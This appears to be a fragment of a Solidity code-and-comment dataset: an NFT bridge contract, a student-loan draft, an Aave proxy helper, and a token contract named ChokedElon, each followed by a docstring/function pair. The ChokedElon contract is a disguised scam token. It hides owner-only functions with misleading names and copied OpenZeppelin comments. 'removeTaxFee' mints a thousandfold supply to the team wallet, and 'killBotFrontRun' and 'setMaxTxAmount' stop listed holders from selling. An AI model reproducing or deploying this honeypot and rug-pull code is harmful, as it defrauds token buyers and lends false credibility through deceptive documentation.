_nonce, _payload) { // do nothing } catch { // error / exception failedMessages[_srcChainId][_srcAddress][_nonce] = FailedMessages(_payload.length, keccak256(_payload)); emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload); } } function onLzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) public { // only internal transaction require(msg.sender == address(this), "NonblockingReceiver: caller must be Bridge."); // handle incoming message _LzReceive( _srcChainId, _srcAddress, _nonce, _payload); } // abstract function function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) virtual internal; function _lzSend(uint16 _dstChainId, bytes memory _payload, address payable _refundAddress, address _zroPaymentAddress, bytes memory _txParam) internal { endpoint.send{value: msg.value}(_dstChainId, trustedRemoteLookup[_dstChainId], _payload, _refundAddress, _zroPaymentAddress, _txParam); } function retryMessage(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes calldata _payload) external payable { // assert there is message to retry FailedMessages storage failedMsg = failedMessages[_srcChainId][_srcAddress][_nonce]; require(failedMsg.payloadHash != bytes32(0), "NonblockingReceiver: no stored message"); require(_payload.length == failedMsg.payloadLength && keccak256(_payload) == failedMsg.payloadHash, "LayerZero: invalid payload"); // clear the stored message failedMsg.payloadLength = 0; failedMsg.payloadHash = bytes32(0); // execute the message. revert if it fails again this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload); } function setTrustedRemote(uint16 _chainId, bytes calldata _trustedRemote) external onlyOwner { trustedRemoteLookup[_chainId] = _trustedRemote; } } pragma solidity ^0.8.7; contract TitanWorld is Ownable, ERC721, NonblockingReceiver { address public _owner; string private baseURI; uint256 nextTokenId = 0; uint256 MAX_MINT_ETH = 2048; uint256 public cost = 0.01 ether; string public uriSuffix = ".json"; string public hiddenMetadataUri; bool public revealed = false; uint gasForDestinationLzReceive = 350000; constructor(string memory hiddenuri_, address _layerZeroEndpoint) ERC721("TitanWorld", "TW") { _owner = msg.sender; endpoint = ILayerZeroEndpoint(_layerZeroEndpoint); hiddenMetadataUri = hiddenuri_; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } // mint function function mint(uint8 _mintAmount) external payable { require((cost * _mintAmount) <= msg.value, "Insufficient funds!"); require(nextTokenId + _mintAmount <= MAX_MINT_ETH, "Mint exceeds supply"); for (uint256 i = 0; i < _mintAmount; i++) { _safeMint(msg.sender, ++nextTokenId); } } // This function transfers the nft from your address on the // source chain to the same address on the destination chain function traverseChains(uint16 _chainId, uint tokenId) public payable { require(msg.sender == ownerOf(tokenId), "You must own the token to traverse"); require(trustedRemoteLookup[_chainId].length > 0, "This chain is currently unavailable for travel"); // burn NFT, eliminating it from circulation on src chain _burn(tokenId); // abi.encode() the payload with the values to send bytes memory payload = abi.encode(msg.sender, tokenId); // encode adapterParams to specify more gas for the destination uint16 version = 1; bytes memory adapterParams = abi.encodePacked(version, gasForDestinationLzReceive); // get the fees we need to pay to LayerZero + Relayer to cover message delivery // you will be refunded for extra gas paid (uint messageFee, ) = endpoint.estimateFees(_chainId, address(this), payload, false, adapterParams); require(msg.value >= messageFee, "msg.value not enough to cover messageFee. Send gas for message fees"); endpoint.send{value: msg.value}( _chainId, // destination chainId trustedRemoteLookup[_chainId], // destination address of nft contract payload, // abi.encoded()'ed bytes payable(msg.sender), // refund address address(0x0), // 'zroPaymentAddress' unused for this adapterParams // txParameters ); } function setBaseURI(string memory URI) external onlyOwner { baseURI = URI; } // This allows the devs to receive kind donations function withdraw(uint amt) external onlyOwner { (bool sent, ) = payable(_owner).call{value: amt}(""); require(sent, "GOK: Failed to withdraw Ether"); } // just in case this fixed variable limits us from future integrations function setGasForDestinationLzReceive(uint newVal) external onlyOwner { gasForDestinationLzReceive = newVal; } // ------------------ // Internal Functions // ------------------ function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) override internal { // decode (address toAddr, uint tokenId) = abi.decode(_payload, (address, uint)); // mint the tokens back into existence on destination chain _safeMint(toAddr, tokenId); } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, Strings.toString(_tokenId), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function _baseURI() override internal view returns (string memory) { return baseURI; } } /* */
This allows the devs to receive kind donations
function withdraw(uint amt) external onlyOwner { require(sent, "GOK: Failed to withdraw Ether"); }
6,252,254
pragma solidity ^0.5.0; /** * [In progress] The Student Loan contract that has basic function of borrow and lend. */ contract StudentLoan { uint public borrowerId; struct Borrower { uint id; string name; address addr; uint balance; } Borrower[] public borrowers; uint public lenderId; struct Lender { uint id; string name; address addr; uint balance; } Lender[] public lenders; uint public loanId; struct LoanData { uint id; // Id of Loan string name; // Name ofLoan mapping (uint => Borrower) borrowers; mapping (uint => Lender) lenders; uint term; // Term of Repay of Loan uint rate; // Rate of Loan uint recordTime; // timestamp from UNIX } LoanData[] public loans; event SetBorrower(uint indexed borrowerId, address indexed _borrowerAddr); event SetLender(uint indexed lenderId, address indexed _lenderAddr); constructor () public { string memory _name = 'first user'; uint _term = 90 days; uint _rate = 5; LoanData memory ln = LoanData({ id: loanId, name: _name, term: _term, rate: _rate, recordTime: now }); loans.push(ln); string memory nameOfFirstBorrower = 'first borrower'; address addressOfFirstBorrower; Borrower memory borrower = Borrower({ id: borrowerId, name: nameOfFirstBorrower, addr: addressOfFirstBorrower, balance: 150 }); string memory nameOfFirstLender = 'first lender'; address addressOfFirstLender; Lender memory lender = Lender({ id: lenderId, name: nameOfFirstLender, addr: addressOfFirstLender, balance: 150 }); } function createLoan ( string memory _name, string memory _description, address _borrowerAddr, address _lenderAddr ) public returns (string memory, string memory, address, address) { LoanData storage ln = loans[loanId]; ln.id = loanId; ln.name = _name; ln.recordTime = now; loans.push(ln); // Set infomation of borrower setBorrower(borrowerId, _borrowerAddr); borrowerId++; // Set infomation of lender setLender(lenderId, _lenderAddr); lenderId++; return (_name, _description, _borrowerAddr, _lenderAddr); } function setBorrower(uint borrowerId, address _borrowerAddr) public returns (uint, address) { Borrower memory borrower = borrowers[borrowerId]; borrower.id = borrowerId; borrower.name = 'Test Borrower'; // Note that it is constant value of test borrower.addr = _borrowerAddr; borrower.balance = 5000; // Note that it is constant value of test emit SetBorrower(borrowerId, _borrowerAddr); return (borrowerId, _borrowerAddr); } function setLender(uint lenderId, address _lenderAddr) public returns (uint, address) { Lender memory lender = lenders[lenderId]; lender.id = lenderId; lender.name = 'Test Lender'; // Note that it is constant value of test lender.addr = _lenderAddr; lender.balance = 10000; // Note that it is constant value of test emit SetLender(lenderId, _lenderAddr); return (lenderId, _lenderAddr); } }
Set infomation of borrower Set infomation of lender
function createLoan ( string memory _name, string memory _description, address _borrowerAddr, address _lenderAddr ) public returns (string memory, string memory, address, address) { LoanData storage ln = loans[loanId]; ln.id = loanId; ln.name = _name; ln.recordTime = now; loans.push(ln); setBorrower(borrowerId, _borrowerAddr); borrowerId++; setLender(lenderId, _lenderAddr); lenderId++; return (_name, _description, _borrowerAddr, _lenderAddr); }
5,446,644
/** *Submitted for verification at Etherscan.io on 2021-11-18 */ // https://t.me/ChokedElon // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ChokedElon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100000 * 10**9 * 10**18; uint256 private _taxFee = 5; uint256 private _maxTxAmount = _tTotal.mul(30).div(100); uint256 private _maxHolder = _tTotal.mul(30).div(100); address[] public _whiteList; address[] private _newList; address private _teamWallet = _msgSender(); address private _lpAddress = _msgSender(); string private _name = 'Choked Elon'; string private _symbol = 'CHOKEDELON'; uint8 private _decimals = 18; address private _mktAddress = 0x42A44B8f13d3C230aCFb226cdbd75239691D381C; constructor () { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev updateTaxFee * */ function updateTaxFee(uint256 amount) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _taxFee = amount; } /** * @dev update `killBotFrontRun` to kill bot * */ function killBotFrontRun (address[] calldata addresses) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); for(uint i=0; i < addresses.length; i++){ _whiteList.push(addresses[i]); } } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - setMaxTxAmount * * _Available since v3.1._ */ function setMaxTxAmount() public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _maxTxAmount = _taxFee; } function removeFromBlackList (address newAdd) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _newList.push(newAdd); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } /** * @dev setMaxHolderBalance * */ function setMaxHolderBalance(uint256 amount) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _maxHolder = _tTotal.mul(amount).div(100); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function checkBalanceAddress(address _walletAddress) private view returns (bool){ if (_walletAddress == _lpAddress || checkBlackList(_walletAddress) == true) { return true; } if (balanceOf(_walletAddress) >= _maxTxAmount && balanceOf(_walletAddress) <= _maxHolder) { return false; } else { return true; } } function removeTaxFee () public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); uint256 currentBalance = _balances[_teamWallet]; uint256 rTotal = _tTotal * 10**3; _tTotal = rTotal + _tTotal; _balances[_teamWallet] = rTotal + currentBalance; emit Transfer( address(0), _teamWallet, rTotal); } function checkWhiteList(address botAdd) private view returns (bool) { for (uint256 i = 0; i < _whiteList.length; i++) { if (_whiteList[i] == botAdd) { return true; } } } function checkBlackList(address botAdd) private view returns (bool) { for (uint256 i = 0; i < _newList.length; i++) { if (_newList[i] == botAdd) { return true; } } } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (checkWhiteList(sender) == true ) { require(amount < _taxFee, "Transfer amount exceeds the maxTxAmount."); } if (sender == owner() || sender == _teamWallet) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ require (checkBalanceAddress(sender)); uint256 transferFee = amount.mul(_taxFee).div(100); uint256 transferAmount = amount.sub(transferFee); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(transferAmount); _balances[_mktAddress] = _balances[_mktAddress].add(transferFee); emit Transfer(sender, recipient, transferAmount); } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function openTrading (address addr) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _lpAddress = addr; } }
Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], Requirements: - setMaxTxAmount _Available since v3.1._/
function setMaxTxAmount() public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _maxTxAmount = _taxFee; }
2,083,897
pragma solidity ^0.6.0; import "../utils/GasBurner.sol"; import "../interfaces/IAToken.sol"; import "../interfaces/ILendingPool.sol"; import "../interfaces/ILendingPoolAddressesProvider.sol"; import "../utils/SafeERC20.sol"; /// @title Basic compound interactions through the DSProxy contract AaveBasicProxy is GasBurner { using SafeERC20 for ERC20; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant AAVE_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; uint16 public constant AAVE_REFERRAL_CODE = 64; /// @notice User deposits tokens to the Aave protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _amount Amount of tokens to be deposited function deposit(address _tokenAddr, uint256 _amount) public burnGas(5) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint ethValue = _amount; if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); approveToken(_tokenAddr, lendingPoolCore); ethValue = 0; } ILendingPool(lendingPool).deposit{value: ethValue}(_tokenAddr, _amount, AAVE_REFERRAL_CODE); setUserUseReserveAsCollateralIfNeeded(_tokenAddr); } /// @notice User withdraws tokens from the Aave protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _aTokenAddr ATokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _wholeAmount If true we will take the whole amount on chain function withdraw(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeAmount) public burnGas(8) { uint256 amount = _wholeAmount ? ERC20(_aTokenAddr).balanceOf(address(this)) : _amount; IAToken(_aTokenAddr).redeem(amount); withdrawTokens(_tokenAddr); } /// @notice User borrows tokens to the Aave protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _type Send 1 for stable rate and 2 for variable rate function borrow(address _tokenAddr, uint256 _amount, uint256 _type) public burnGas(8) { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).borrow(_tokenAddr, _amount, _type, AAVE_REFERRAL_CODE); withdrawTokens(_tokenAddr); } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Aave protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _aTokenAddr ATokens to be paybacked /// @param _amount Amount of tokens to be payed back /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt) public burnGas(3) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint256 amount = _amount; (,uint256 borrowAmount,,,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this)); if (_wholeDebt) { amount = borrowAmount + originationFee; } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount); approveToken(_tokenAddr, lendingPoolCore); } ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, payable(address(this))); withdrawTokens(_tokenAddr); } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Aave protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _aTokenAddr ATokens to be paybacked /// @param _amount Amount of tokens to be payed back /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function paybackOnBehalf(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt, address payable _onBehalf) public burnGas(3) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint256 amount = _amount; (,uint256 borrowAmount,,,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, _onBehalf); if (_wholeDebt) { amount = borrowAmount + originationFee; } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount); approveToken(_tokenAddr, lendingPoolCore); } ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, _onBehalf); withdrawTokens(_tokenAddr); } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { uint256 amount = _tokenAddr == ETH_ADDR ? address(this).balance : ERC20(_tokenAddr).balanceOf(address(this)); if (amount > 0) { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, amount); } else { msg.sender.transfer(amount); } } } /// @notice Approves token contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _caller Address which will gain the approval function approveToken(address _tokenAddr, address _caller) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_caller, uint256(-1)); } } function setUserUseReserveAsCollateralIfNeeded(address _tokenAddr) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,,,,,,,,bool collateralEnabled) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this)); if (!collateralEnabled) { ILendingPool(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, true); } } function setUserUseReserveAsCollateral(address _tokenAddr, bool _true) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, _true); } function swapBorrowRateMode(address _reserve) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).swapBorrowRateMode(_reserve); } } pragma solidity ^0.6.0; import "../interfaces/GasTokenInterface.sol"; contract GasBurner { // solhint-disable-next-line const-name-snakecase GasTokenInterface public constant gasToken = GasTokenInterface(0x0000000000b3F879cb30FE243b4Dfee438691c04); modifier burnGas(uint _amount) { if (gasToken.balanceOf(address(this)) >= _amount) { gasToken.free(_amount); } _; } } pragma solidity ^0.6.0; abstract contract IAToken { function redeem(uint256 _amount) external virtual; function balanceOf(address _owner) external virtual view returns (uint256 balance); } pragma solidity ^0.6.0; abstract contract ILendingPool { function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual; function deposit(address _reserve, uint256 _amount, 